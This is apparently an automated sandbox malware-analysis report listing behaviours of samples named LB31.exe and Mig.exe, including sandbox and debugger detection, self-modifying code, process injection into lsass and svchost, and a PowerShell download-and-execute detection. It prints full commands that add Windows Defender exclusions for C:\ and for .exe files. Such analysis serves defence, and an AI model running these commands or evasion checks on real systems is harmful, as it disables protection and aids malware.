Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe

Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,

37_2_00000001400010C0

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Special instruction interceptor: First address: 7FF7CF286D85 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Roaming\LB31.exe	Special instruction interceptor: First address: 7FF7CEF4D3D8 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF7DF376D85 instructions caused by: Self-modifying code
Source: C:\ProgramData\Mig\Mig.exe	Special instruction interceptor: First address: 7FF7DF03D3D8 instructions caused by: Self-modifying code

Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\Mig\Mig.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3806	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6060	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5244	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4520	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7169	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2533	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7093
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1502
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1051
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 3883
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 6116
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9861
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9839

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_49-14702
Source: C:\Windows\System32\dwm.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_51-14785
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_50-14791
Source: C:\Windows\System32\winlogon.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_43-14811

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_37-409

Source: C:\Windows\System32\lsass.exe	API coverage: 7.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.0 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2156	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1460	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4872	Thread sleep count: 7169 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1360	Thread sleep count: 2533 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6584	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 7093 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 1502 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3004	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2836	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\dialer.exe TID: 6232	Thread sleep count: 1051 > 30
Source: C:\Windows\System32\dialer.exe TID: 6232	Thread sleep time: -105100s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7536	Thread sleep count: 3883 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7536	Thread sleep time: -3883000s >= -30000s
Source: C:\Windows\System32\winlogon.exe TID: 7536	Thread sleep count: 6116 > 30
Source: C:\Windows\System32\winlogon.exe TID: 7536	Thread sleep time: -6116000s >= -30000s
Source: C:\Windows\System32\lsass.exe TID: 7112	Thread sleep count: 9861 > 30
Source: C:\Windows\System32\lsass.exe TID: 7112	Thread sleep time: -9861000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3320	Thread sleep count: 246 > 30
Source: C:\Windows\System32\svchost.exe TID: 3320	Thread sleep time: -246000s >= -30000s
Source: C:\Windows\System32\dwm.exe TID: 1356	Thread sleep count: 9839 > 30
Source: C:\Windows\System32\dwm.exe TID: 1356	Thread sleep time: -9839000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1796	Thread sleep count: 112 > 30
Source: C:\Windows\System32\svchost.exe TID: 1796	Thread sleep time: -112000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7596	Thread sleep count: 112 > 30
Source: C:\Windows\System32\svchost.exe TID: 7596	Thread sleep time: -112000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 3184	Thread sleep count: 250 > 30
Source: C:\Windows\System32\svchost.exe TID: 3184	Thread sleep time: -250000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5244	Thread sleep count: 51 > 30
Source: C:\Windows\System32\svchost.exe TID: 5244	Thread sleep time: -51000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 7088	Thread sleep count: 98 > 30
Source: C:\Windows\System32\svchost.exe TID: 7088	Thread sleep time: -98000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6728	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 6728	Thread sleep time: -79000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5228	Thread sleep count: 83 > 30
Source: C:\Windows\System32\svchost.exe TID: 5228	Thread sleep time: -83000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 6600	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 6600	Thread sleep time: -79000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5760	Thread sleep count: 80 > 30
Source: C:\Windows\System32\svchost.exe TID: 5760	Thread sleep time: -80000s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 5820	Thread sleep count: 79 > 30
Source: C:\Windows\System32\svchost.exe TID: 5820	Thread sleep time: -79000s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\dialer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BCDCE0 FindFirstFileExW,	43_2_000001F385BCDCE0
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199DCE0 FindFirstFileExW,	49_2_000002A29199DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EDDCE0 FindFirstFileExW,	50_2_0000014E25EDDCE0
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E133DCE0 FindFirstFileExW,	51_2_00000283E133DCE0
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539CDCE0 FindFirstFileExW,	52_2_000001FB539CDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BDDCE0 FindFirstFileExW,	53_2_000001CBD8BDDCE0
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD16DCE0 FindFirstFileExW,	54_2_000001F2BD16DCE0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Source: mshta.exe, 00000006.00000003.1446046858.000001FF1AFA1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471624974.000001FF1AFA4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW W
Source: mshta.exe, 00000006.00000002.1471753548.000001FF1B017000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1471624974.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1446046858.000001FF1AFD8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1453997972.000001FF1B016000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1831100356.000001E5BAA59000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.1911881717.0000018140130000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000009.00000002.1911881717.000001814014D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 00000008.00000002.1828126524.000001E5B542B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000000.00000002.1424062645.0000026134ECD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\dialer.exe

API call chain: ExitProcess graph end node

graph_37-477

Source: C:\Users\user\AppData\Roaming\LB31.exe

System information queried: ModuleInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: regmonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: procmon_window_class
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: filemonclass
Source: C:\ProgramData\Mig\Mig.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process queried: DebugPort
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugObjectHandle
Source: C:\ProgramData\Mig\Mig.exe	Process queried: DebugPort

Source: C:\Windows\System32\winlogon.exe

Code function: 43_2_000001F385BC7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

43_2_000001F385BC7D90

Source: C:\Windows\System32\dialer.exe

Code function: 37_2_00000001400017EC GetProcessHeap,HeapAlloc,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

37_2_00000001400017EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BC7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_000001F385BC7D90
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BCD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	43_2_000001F385BCD2A4
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A29199D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000002A29199D2A4
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A291997D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000002A291997D90
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_0000014E25EDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25ED7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_0000014E25ED7D90
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E133D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_00000283E133D2A4
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E1337D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_00000283E1337D90
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_000001FB539C7D90
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_000001FB539CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001CBD8BD7D90
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_000001CBD8BDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD167D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000001F2BD167D90
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD16D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_000001F2BD16D2A4

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: 2.png.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_7612.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_8136.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8136, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB31.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1F385B90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 2A2911C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 14E255D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 283E1300000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FB53990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CBD8BA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F2BD130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 229F8B70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2938AFD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2258F3D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26F54840000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22B76580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1265E790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18510D30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 200A2B70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F33CBD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FAB73D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D3E96E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2389D0D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22E676E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A4D6530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20763780000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 200FF1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23CC6130000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 266F1070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26008BB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12E54DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2CF20530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FDE9EA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 19EA6340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: A50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1ED5C5A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1EC464E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15B351A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C38C460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DC09A40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C73F900000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 22300B00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1616A5B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181C5E90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18E3AF30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D70B1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26DA05C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C9B0460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23A7CF40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 184FCB80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 1CF1CE30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1697C550000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F0FE010000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1FC093B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C8004E0000 protect: page execute and read and write
